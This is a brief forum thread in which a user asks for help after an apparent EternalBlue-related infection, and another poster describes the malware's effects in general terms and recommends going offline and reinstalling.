Hit with a partial of the eternalblue attack

Had something from mysking.
This caused the following partially executed bat file to show up:

I think I have a fair bit of it taken care of manually, but are there additional not immediately apparent issues?

Hi nukeofwf,

As that malware is kicking in IMMEDIATELY on start up, (winlogon.exe), and then infecting the 2 major elements of the OS, svchost.exe & csrss.exe, its also changing permissions, setting up scheduled tasks, re-writing firewall rules, creating a remote connection, and resetting your hosts files.
If you have not reset/cleaned all of the above the system is still infected.

I would suggest you go OFF line until you have performed a clean install.
(not sure but this might be Wannacry as its also playing around in IIS - smb1)
Im not a security/malware expert but if it was my system

Your best bet is a clean install

Thanks for the info, yeah I am seeing really weird things like a completely empty system directory etc.
Looks like a cold install will be the order of the day.
